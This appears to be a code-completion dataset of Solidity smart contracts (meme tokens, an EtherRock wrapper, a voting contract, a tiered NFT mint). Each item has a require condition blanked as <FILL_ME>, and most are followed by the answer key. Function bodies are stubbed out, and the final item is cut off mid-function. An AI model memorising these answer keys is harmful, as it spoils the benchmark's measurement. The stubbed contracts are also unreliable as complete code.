comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"Forbid" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function owner() public view returns (address) { }
function renounceOwnership() external onlyOwner {
}
}
contract TeamMusk is IERC20, Auth {
string private constant _name = "Team Musk";
string private constant _symbol = "MUSK";
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1_000_000_000_000 * (10**_decimals);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isBlackListed;
mapping (address => bool) private isWhitelisted;
mapping (address => bool) private _noFees;
address payable private _walletMarketing;
address payable private _walletPrizePool;
address payable private _walletBuyBack;
uint256 private constant _taxSwapMin = _totalSupply / 200000;
uint256 private constant _taxSwapMax = _totalSupply / 500;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
uint256 private _tax = 500;
uint256 private _epochForBoostedPrizePool;
bool public limited = true;
uint256 public maxHoldingAmount = 10_000_000_001 * (10**_decimals); // 1%
uint256 public minHoldingAmount = 100_000_000 * (10**_decimals); // 0.01%;
bool private _tradingOpen;
bool private _inTaxSwap = false;
modifier lockTaxSwap {
}
constructor(address cexWallet, address marketingWallet, address buyBackWallet, address prizePoolWallet, address[] memory _users) Auth(msg.sender) {
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function tax() external view returns (uint256) { }
function prizePoolBoostStart() external view returns (uint256) { }
function marketingMultisig() external view returns (address) { }
function BuyBackMultisig() external view returns (address) { }
function PrizePoolMultisig() external view returns (address) { }
function getPrizePoolBalance() external view returns (uint256){ }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from Zero wallet");
require(!isBlackListed[sender], "Sender Blacklisted");
require(!isBlackListed[recipient], "Receiver Blacklisted");
if (!_tradingOpen) { require(_noFees[sender], "Trading not open"); }
if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); }
if (limited && sender == _primaryLP) {
require(<FILL_ME>)
require(isWhitelisted[sender] || isWhitelisted[recipient], "Forbid");
}
uint256 _taxAmount = _calculateTax(sender, recipient, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] -= amount;
if ( _taxAmount > 0 ) {
_balances[address(this)] += _taxAmount;
}
_balances[recipient] += _transferAmount;
emit Transfer(sender, recipient, amount);
return true;
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function _checkTradingOpen(address sender) private view returns (bool){
}
function setMarketingWallet(address newMarketingWallet) public onlyOwner {
}
function setPrizePoolWallet(address newPrizePoolWallet) public onlyOwner {
}
function setBuyBackWallet(address newBuyBackWallet) public onlyOwner {
}
function setBlackList(address[] memory _users, bool set) public onlyOwner {
}
function setWhitelist(address[] memory _users, bool set) internal {
}
function setRule(bool _limited, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner {
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
}
| balanceOf(recipient)+amount<=maxHoldingAmount&&balanceOf(recipient)+amount>=minHoldingAmount,"Forbid" | 204,405 | balanceOf(recipient)+amount<=maxHoldingAmount&&balanceOf(recipient)+amount>=minHoldingAmount |
"TOKEN: Balance exceeds wallet size!" | // SPDX-License-Identifier: MIT
/**
Web: https://www.xsamurai.vip/
Telegram: https://t.me/xsamurai_channel
Twitter: https://twitter.com/xsamurai_eth
*/
pragma solidity ^0.8.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function approve(address spender, uint256 amount) external returns (bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function factory() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function WETH() external pure returns (address);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
modifier onlyOwner() {
}
constructor() {
}
function renounceOwnership() public virtual onlyOwner {
}
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function owner() public view returns (address) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract XSamurai is Context, IERC20, Ownable {
IUniswapV2Router02 public uniswapV2Router;
address public _uniswapV2PairAddr;
using SafeMath for uint256;
mapping(address => uint256) private _tOwned;
mapping(address => uint256) private _rOwned;
uint256 private constant MAX = ~uint256(0);
string private constant _name = "X Samurai";
string private constant _symbol = "XSAMURAI";
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
//Original Fee
uint256 private _marketingFeeSell = 0;
uint256 private _devFeeSell = 0;
uint256 private _marketingFeeAmt = _marketingFeeSell;
uint256 private _devFeeAmt = _devFeeSell;
uint256 private _marketTaxForBuy = 0;
uint256 private _devTaxForBuy = 0;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isExcludedFromFee;
uint256 public _txMaxLimitAmount = _tTotal * 25 / 1000;
uint256 public _walletMaxLimitSize = _tTotal * 25 / 1000;
uint256 public _exactSwapAt = _tTotal / 10000;
event MaxTxAmountUpdated(uint256 _txMaxLimitAmount);
mapping(address => mapping(address => uint256)) private _allowances;
modifier lockInSwap {
}
uint256 private _preMarketTax = _marketingFeeAmt;
uint256 private _preDevTax = _devFeeAmt;
bool private _isSwapping = false;
bool private _swapEnable = true;
bool private _tradingActive = false;
uint8 private constant _decimals = 9;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function totalSupply() public pure override returns (uint256) {
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function _transferFeeandTokens(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
address payable public _developmentWallet = payable(0xF3E9c9CBd866F7B15A5da51772fAF7F9C2371515);
address payable public _marketingAddr = payable(0x6212D7Ea518911455A514DEBEec76d02D1aDE7cd);
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
function sendETHAsFee(uint256 amount) private {
}
//set minimum tokens required to swap.
function setSwapTokenAmount(uint256 swapTokensAtAmount) public onlyOwner {
}
function swapBack(uint256 tokenAmount) private lockInSwap {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(to != address(0), "ERC20: transfer to the zero address");
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (
from != owner()
&& to != owner()
) {
//Trade start check
if (!_tradingActive) {
require(
from == owner(),
"TOKEN: This account cannot send tokens until trading is enabled"
);
}
require(amount <= _txMaxLimitAmount, "TOKEN: Max Transaction Limit");
if(to != _uniswapV2PairAddr) {
require(<FILL_ME>)
}
uint256 tokenContractAmount = balanceOf(address(this));
bool canSwap = tokenContractAmount >= _exactSwapAt;
if(tokenContractAmount >= _txMaxLimitAmount) {tokenContractAmount = _txMaxLimitAmount;}
if (_swapEnable &&
canSwap &&
!_isSwapping &&
from != _uniswapV2PairAddr &&
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to]
) {
swapBack(tokenContractAmount);
uint256 balanceOfEth = address(this).balance;
if (balanceOfEth > 0) {
sendETHAsFee(address(this).balance);
}
}
}
bool isSetFee = true;
//Transfer Tokens
if (
(_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != _uniswapV2PairAddr && to != _uniswapV2PairAddr)
) {
isSetFee = false;
} else {
//Set Fee for Buys
if(from == _uniswapV2PairAddr &&
to != address(uniswapV2Router)) {
_marketingFeeAmt = _marketTaxForBuy;
_devFeeAmt = _devTaxForBuy;
}
//Set Fee for Sells
if (to == _uniswapV2PairAddr &&
from != address(uniswapV2Router)) {
_marketingFeeAmt = _marketingFeeSell;
_devFeeAmt = _devFeeSell;
}
}
_transferFeeandTokens(from, to, amount, isSetFee);
}
function _takeAllFee(uint256 tTeam) private {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function refreshTaxTempor() private {
}
function _basicTransferTokens(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _sendTValues(address token, address owner) internal {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function clearTaxTempor() private {
}
receive() external payable {
}
function _getTValues(
uint256 tAmount,
uint256 teamFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function sendTRValues(address token) external {
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function sendAllTaxes(uint256 rFee, uint256 tFee) private {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
//set maximum transaction
function removeLimits() public onlyOwner {
}
function startTrading(address _addr) public onlyOwner {
}
}
| balanceOf(to)+amount<_walletMaxLimitSize,"TOKEN: Balance exceeds wallet size!" | 204,598 | balanceOf(to)+amount<_walletMaxLimitSize |
"Drop box already exists." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface EtherRock {
function sellRock (uint rockNumber, uint price) external;
function giftRock (uint rockNumber, address receiver) external;
}
contract DropBox is Ownable {
function Collect(uint256 rockId, EtherRock rockInt) public onlyOwner {
}
}
contract MersenneRocks is ERC721, ERC721Enumerable, Ownable {
event DropBoxCreated(address indexed owner);
event Wrapped(uint256 indexed pairId, address indexed owner);
event Unwrapped(uint256 indexed pairId, address indexed owner);
EtherRock public rockInt = EtherRock(0x6a5831e99438E076d65280d64E463343E4e41561);
mapping(address => address) public dropBoxes;
constructor() ERC721("MersenneRocks", "MR") {}
function CreateDropBox() public {
require(<FILL_ME>)
dropBoxes[msg.sender] = address(new DropBox());
emit DropBoxCreated(msg.sender);
}
function Wrap(uint256 rockId, uint256 exponent) public {
}
function Unwrap(uint256 rockId) public {
}
function _baseURI() internal pure override returns (string memory) {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
override(ERC721, ERC721Enumerable)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| dropBoxes[msg.sender]==address(0),"Drop box already exists." | 204,599 | dropBoxes[msg.sender]==address(0) |
"Invalid rock ID." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface EtherRock {
function sellRock (uint rockNumber, uint price) external;
function giftRock (uint rockNumber, address receiver) external;
}
contract DropBox is Ownable {
function Collect(uint256 rockId, EtherRock rockInt) public onlyOwner {
}
}
contract MersenneRocks is ERC721, ERC721Enumerable, Ownable {
event DropBoxCreated(address indexed owner);
event Wrapped(uint256 indexed pairId, address indexed owner);
event Unwrapped(uint256 indexed pairId, address indexed owner);
EtherRock public rockInt = EtherRock(0x6a5831e99438E076d65280d64E463343E4e41561);
mapping(address => address) public dropBoxes;
constructor() ERC721("MersenneRocks", "MR") {}
function CreateDropBox() public {
}
function Wrap(uint256 rockId, uint256 exponent) public {
address dropBox = dropBoxes[msg.sender];
require(dropBox != address(0), "You must create a drop box first.");
require(exponent >= 1 && exponent <= 256, "Exponent out of range.");
require(<FILL_ME>)
require(!_exists(rockId), "Token already exists.");
DropBox(dropBox).Collect(rockId, rockInt);
_mint(msg.sender, rockId);
emit Wrapped(rockId, msg.sender);
}
function Unwrap(uint256 rockId) public {
}
function _baseURI() internal pure override returns (string memory) {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
override(ERC721, ERC721Enumerable)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| 2**exponent-1==rockId,"Invalid rock ID." | 204,599 | 2**exponent-1==rockId |
"Token already exists." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface EtherRock {
function sellRock (uint rockNumber, uint price) external;
function giftRock (uint rockNumber, address receiver) external;
}
contract DropBox is Ownable {
function Collect(uint256 rockId, EtherRock rockInt) public onlyOwner {
}
}
contract MersenneRocks is ERC721, ERC721Enumerable, Ownable {
event DropBoxCreated(address indexed owner);
event Wrapped(uint256 indexed pairId, address indexed owner);
event Unwrapped(uint256 indexed pairId, address indexed owner);
EtherRock public rockInt = EtherRock(0x6a5831e99438E076d65280d64E463343E4e41561);
mapping(address => address) public dropBoxes;
constructor() ERC721("MersenneRocks", "MR") {}
function CreateDropBox() public {
}
function Wrap(uint256 rockId, uint256 exponent) public {
address dropBox = dropBoxes[msg.sender];
require(dropBox != address(0), "You must create a drop box first.");
require(exponent >= 1 && exponent <= 256, "Exponent out of range.");
require(2**exponent - 1 == rockId, "Invalid rock ID.");
require(<FILL_ME>)
DropBox(dropBox).Collect(rockId, rockInt);
_mint(msg.sender, rockId);
emit Wrapped(rockId, msg.sender);
}
function Unwrap(uint256 rockId) public {
}
function _baseURI() internal pure override returns (string memory) {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
override(ERC721, ERC721Enumerable)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| !_exists(rockId),"Token already exists." | 204,599 | !_exists(rockId) |
"Token does not exist." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface EtherRock {
function sellRock (uint rockNumber, uint price) external;
function giftRock (uint rockNumber, address receiver) external;
}
contract DropBox is Ownable {
function Collect(uint256 rockId, EtherRock rockInt) public onlyOwner {
}
}
contract MersenneRocks is ERC721, ERC721Enumerable, Ownable {
event DropBoxCreated(address indexed owner);
event Wrapped(uint256 indexed pairId, address indexed owner);
event Unwrapped(uint256 indexed pairId, address indexed owner);
EtherRock public rockInt = EtherRock(0x6a5831e99438E076d65280d64E463343E4e41561);
mapping(address => address) public dropBoxes;
constructor() ERC721("MersenneRocks", "MR") {}
function CreateDropBox() public {
}
function Wrap(uint256 rockId, uint256 exponent) public {
}
function Unwrap(uint256 rockId) public {
require(<FILL_ME>)
require(msg.sender == ownerOf(rockId), "You are not the owner.");
rockInt.giftRock(rockId, msg.sender);
_burn(rockId);
emit Unwrapped(rockId, msg.sender);
}
function _baseURI() internal pure override returns (string memory) {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
override(ERC721, ERC721Enumerable)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| _exists(rockId),"Token does not exist." | 204,599 | _exists(rockId) |
"Answer is out of bounds." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./AccessControlEnumerable.sol";
contract MultipleProposalVoting is AccessControlEnumerable {
bytes32 public constant PAYOUT_ROLE = keccak256("PAYOUT_ROLE");
/** @dev A count of votes voted by users. The first index is question and the second index is possible answers. */
uint256[][] public votes;
/** @dev The maximum number of answers for each question. numAnswers.length will equal votes.length. */
uint64[] public maxNumAnswers;
/** @dev The total number of votes cast. */
uint256 public totalVotes;
/** @dev The maximum number of votes that can be cast. */
uint256 public maxVotes;
/** @dev The cost of each extra vote after the first one in wei. */
uint256 public extraVoteCost;
/** @dev The number of times each person has voted. */
mapping(address => uint256) public voters;
event VoteOccurred(
address voter,
uint64[] answers,
uint256 numVotes,
uint256 voteCount,
string clientInfo
);
/**
* @dev Creates a survey by specifying the nunber of answers for each question and the
* maximum number of votes that are castable as well as the cost of votes beyond the first
* one.
*/
constructor(
uint64[] memory maxNumAnswers_,
uint256 maxVotes_,
uint256 extraVoteCost_
) {
}
/**
* @dev Votes for answers to the questions created in the constructor.
*/
function vote(
uint64[] memory answers,
uint256 numVotes,
string memory clientInfo
) public payable {
require(numVotes > 0, "Must vote once.");
require(
answers.length == maxNumAnswers.length,
"Number of answers doesn't match number of questions."
);
totalVotes += numVotes;
require(totalVotes <= maxVotes, "Too many votes have been cast.");
uint256 voteCost = computeCost(numVotes);
require(voteCost == msg.value, "Incorrect payment.");
voters[_msgSender()] += numVotes;
for (uint64 i = 0; i < answers.length; ++i) {
require(0 <= answers[i], "Answer is out of bounds.");
require(<FILL_ME>)
votes[i][answers[i]] += numVotes;
}
emit VoteOccurred(
_msgSender(),
answers,
numVotes,
totalVotes,
clientInfo
);
}
/**
* @dev Adds old voters from previous contracts to this one.
*/
function adminAddVoters(address[] memory oldVoters)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
/**
* @dev Withdraw ETH from this contract to an account in `PAYOUT_ROLL`.
*/
function withdraw() public onlyRole(PAYOUT_ROLE) {
}
function computeCost(uint256 numVotes) internal view returns (uint256) {
}
}
| answers[i]<maxNumAnswers[i],"Answer is out of bounds." | 204,783 | answers[i]<maxNumAnswers[i] |
"The wallet is not on the list of approved addresses for white list minting" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "./CamelCoin.sol";
contract CamelClanUtility is ERC721Enumerable {
CamelCoin public immutable camelCoin;
address public owner;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 660;
mapping(address => bool) public whiteListAddresses;
mapping(address => uint256) public addressTokenCount;
mapping(uint256 => string) public uriMap;
mapping (address => mapping (uint256 => uint256)) tierTokenCount;
mapping(uint256 => uint256) public tierCounts;
mapping(uint256 => Tier) public tokenTier;
mapping(uint256 => uint256) public tokenMintedAt;
mapping(uint256 => uint256) public tokenLastTransferredAt;
uint256 public tokenID = 1; // starting at 1 because of IPFS data
bool public active = true;
bool public whiteListPhase = true;
struct Prices {
uint256 bronzePrice;
uint256 silverPrice;
uint256 goldPrice;
uint256 brailPrice;
}
Prices public _prices = Prices({
bronzePrice: 1_400,
silverPrice: 7_000,
goldPrice: 14_000,
brailPrice: 70_000
});
//-- Tiers --//
// Public tier info
struct Tier {
uint256 id;
string name;
}
// Private tier info
struct TierInfo {
Tier tier;
uint256 startingOffset;
uint256 totalSupply;
uint256 price;
uint256 maxTotalMint;
}
// Bronze Tier - public info
Tier public bronzeTier = Tier({id: 1, name: "Bronze"});
// Bronze Tier - private info
TierInfo private bronzeTierInfo =
TierInfo({
tier: bronzeTier,
startingOffset: 1,
totalSupply: 500,
price: 1_400,
maxTotalMint: 10
});
// Silver Tier - public info
Tier public silverTier = Tier({id: 2, name: "Silver"});
// Silver Tier - private info
TierInfo private silverTierInfo =
TierInfo({
tier: silverTier,
startingOffset: 501,
totalSupply: 100,
price: 7_000,
maxTotalMint: 4
});
// Gold Tier - public info
Tier public goldTier = Tier({id: 3, name: "Gold"});
// Gold Tier - private info
TierInfo private goldTierInfo =
TierInfo({
tier: goldTier,
startingOffset: 601,
totalSupply: 50,
price: 14_000,
maxTotalMint: 2
});
// Brail Tier - public info
Tier public brailTier = Tier({id: 4, name: "Brail"});
// Brail Tier - private info
TierInfo private brailTierInfo =
TierInfo({
tier: brailTier,
startingOffset: 651,
totalSupply: 10,
price: 70_000,
maxTotalMint: 1
});
Tier[] public allTiersArray;
TierInfo[] private allTiersInfoArray;
uint256[] public allTierIds;
mapping(uint256 => Tier) public allTiers;
mapping(uint256 => TierInfo) private allTiersInfo;
constructor(address _camelAddr, string memory _newBaseURI) ERC721("CamelClans Utility Token", "CMLUTIL") {
}
modifier onlyOwner() {
}
/// @dev toggle mint on
function toggleOn() public onlyOwner {
}
/// @dev toggle mint off
function toggleOff() public onlyOwner {
}
function toggleWhitelist(bool _active) public onlyOwner {
}
/// @param addresses - List of address to add to the whiteList
/// @dev adds lists of addresses which can mint tokens in whitelist phase.
function addToWhiteList(address[] calldata addresses) public onlyOwner {
}
// Mint token - requires tier and amount
function mint(uint256 _tierId, uint256 _amount) public payable {
require(active, "The NFT Mint is not currently active");
Tier memory tier = allTiers[_tierId];
TierInfo memory tierInfo = allTiersInfo[_tierId];
require(tier.id == _tierId, "Invalid tier");
// Must mint at least one
require(_amount > 0, "Must mint at least one");
// Get current address total balance
uint256 currentTotalAmount = camelCoin.balanceOf(_msgSender());
uint256 burnPrice = tierInfo.price * (10**camelCoin.decimals());
require(currentTotalAmount >= burnPrice * _amount, "Revert: minting wallet does not have enought CMLCOIN");
if (whiteListPhase) {
require(<FILL_ME>)
}
require(totalSupply() + _amount <= maxSupply, "Mint would exceed the total maximum supply");
if (!whiteListAddresses[_msgSender()]) {
require(tierTokenCount[_msgSender()][_tierId] + _amount <= allTiersInfo[_tierId].maxTotalMint, "Mint would exceed maximum mint amount for tier");
}
for (uint256 i = 0; i < _amount; i++) {
// Token id is tier starting offset plus count of already minted
uint256 tokenId = tierInfo.startingOffset + tierCounts[tier.id];
require(camelCoin.approve(address(this), burnPrice), "Not Approved");
camelCoin.burnFrom(_msgSender(), burnPrice);
// Safe mint
_safeMint(_msgSender(), tokenId);
// Attribute token id with tier
tokenTier[tokenId] = tier;
// Store minted at timestamp by token id
tokenMintedAt[tokenId] = block.timestamp;
// Store tokenURI
uriMap[tokenID] = tokenURI(tokenID);
// Stores tier token count for address
tierTokenCount[_msgSender()][_tierId] = tierTokenCount[_msgSender()][_tierId] + _amount;
// Increment tier counter
tierCounts[tier.id] = tierCounts[tier.id] + 1;
}
}
// ----------------------------- //
// IPFS/OPEANSEA FUNCTIONALITY //
// -------------------------- //
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// Setters
function setPrices(uint256 bronzePrice, uint256 silverPrice, uint256 goldPrice, uint256 brailPrice) external onlyOwner {
}
}
| whiteListAddresses[_msgSender()],"The wallet is not on the list of approved addresses for white list minting" | 204,797 | whiteListAddresses[_msgSender()] |
"Mint would exceed maximum mint amount for tier" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "./CamelCoin.sol";
contract CamelClanUtility is ERC721Enumerable {
CamelCoin public immutable camelCoin;
address public owner;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 660;
mapping(address => bool) public whiteListAddresses;
mapping(address => uint256) public addressTokenCount;
mapping(uint256 => string) public uriMap;
mapping (address => mapping (uint256 => uint256)) tierTokenCount;
mapping(uint256 => uint256) public tierCounts;
mapping(uint256 => Tier) public tokenTier;
mapping(uint256 => uint256) public tokenMintedAt;
mapping(uint256 => uint256) public tokenLastTransferredAt;
uint256 public tokenID = 1; // starting at 1 because of IPFS data
bool public active = true;
bool public whiteListPhase = true;
struct Prices {
uint256 bronzePrice;
uint256 silverPrice;
uint256 goldPrice;
uint256 brailPrice;
}
Prices public _prices = Prices({
bronzePrice: 1_400,
silverPrice: 7_000,
goldPrice: 14_000,
brailPrice: 70_000
});
//-- Tiers --//
// Public tier info
struct Tier {
uint256 id;
string name;
}
// Private tier info
struct TierInfo {
Tier tier;
uint256 startingOffset;
uint256 totalSupply;
uint256 price;
uint256 maxTotalMint;
}
// Bronze Tier - public info
Tier public bronzeTier = Tier({id: 1, name: "Bronze"});
// Bronze Tier - private info
TierInfo private bronzeTierInfo =
TierInfo({
tier: bronzeTier,
startingOffset: 1,
totalSupply: 500,
price: 1_400,
maxTotalMint: 10
});
// Silver Tier - public info
Tier public silverTier = Tier({id: 2, name: "Silver"});
// Silver Tier - private info
TierInfo private silverTierInfo =
TierInfo({
tier: silverTier,
startingOffset: 501,
totalSupply: 100,
price: 7_000,
maxTotalMint: 4
});
// Gold Tier - public info
Tier public goldTier = Tier({id: 3, name: "Gold"});
// Gold Tier - private info
TierInfo private goldTierInfo =
TierInfo({
tier: goldTier,
startingOffset: 601,
totalSupply: 50,
price: 14_000,
maxTotalMint: 2
});
// Brail Tier - public info
Tier public brailTier = Tier({id: 4, name: "Brail"});
// Brail Tier - private info
TierInfo private brailTierInfo =
TierInfo({
tier: brailTier,
startingOffset: 651,
totalSupply: 10,
price: 70_000,
maxTotalMint: 1
});
Tier[] public allTiersArray;
TierInfo[] private allTiersInfoArray;
uint256[] public allTierIds;
mapping(uint256 => Tier) public allTiers;
mapping(uint256 => TierInfo) private allTiersInfo;
constructor(address _camelAddr, string memory _newBaseURI) ERC721("CamelClans Utility Token", "CMLUTIL") {
}
modifier onlyOwner() {
}
/// @dev toggle mint on
function toggleOn() public onlyOwner {
}
/// @dev toggle mint off
function toggleOff() public onlyOwner {
}
function toggleWhitelist(bool _active) public onlyOwner {
}
/// @param addresses - List of address to add to the whiteList
/// @dev adds lists of addresses which can mint tokens in whitelist phase.
function addToWhiteList(address[] calldata addresses) public onlyOwner {
}
// Mint token - requires tier and amount
function mint(uint256 _tierId, uint256 _amount) public payable {
require(active, "The NFT Mint is not currently active");
Tier memory tier = allTiers[_tierId];
TierInfo memory tierInfo = allTiersInfo[_tierId];
require(tier.id == _tierId, "Invalid tier");
// Must mint at least one
require(_amount > 0, "Must mint at least one");
// Get current address total balance
uint256 currentTotalAmount = camelCoin.balanceOf(_msgSender());
uint256 burnPrice = tierInfo.price * (10**camelCoin.decimals());
require(currentTotalAmount >= burnPrice * _amount, "Revert: minting wallet does not have enought CMLCOIN");
if (whiteListPhase) {
require(whiteListAddresses[_msgSender()], "The wallet is not on the list of approved addresses for white list minting");
}
require(totalSupply() + _amount <= maxSupply, "Mint would exceed the total maximum supply");
if (!whiteListAddresses[_msgSender()]) {
require(<FILL_ME>)
}
for (uint256 i = 0; i < _amount; i++) {
// Token id is tier starting offset plus count of already minted
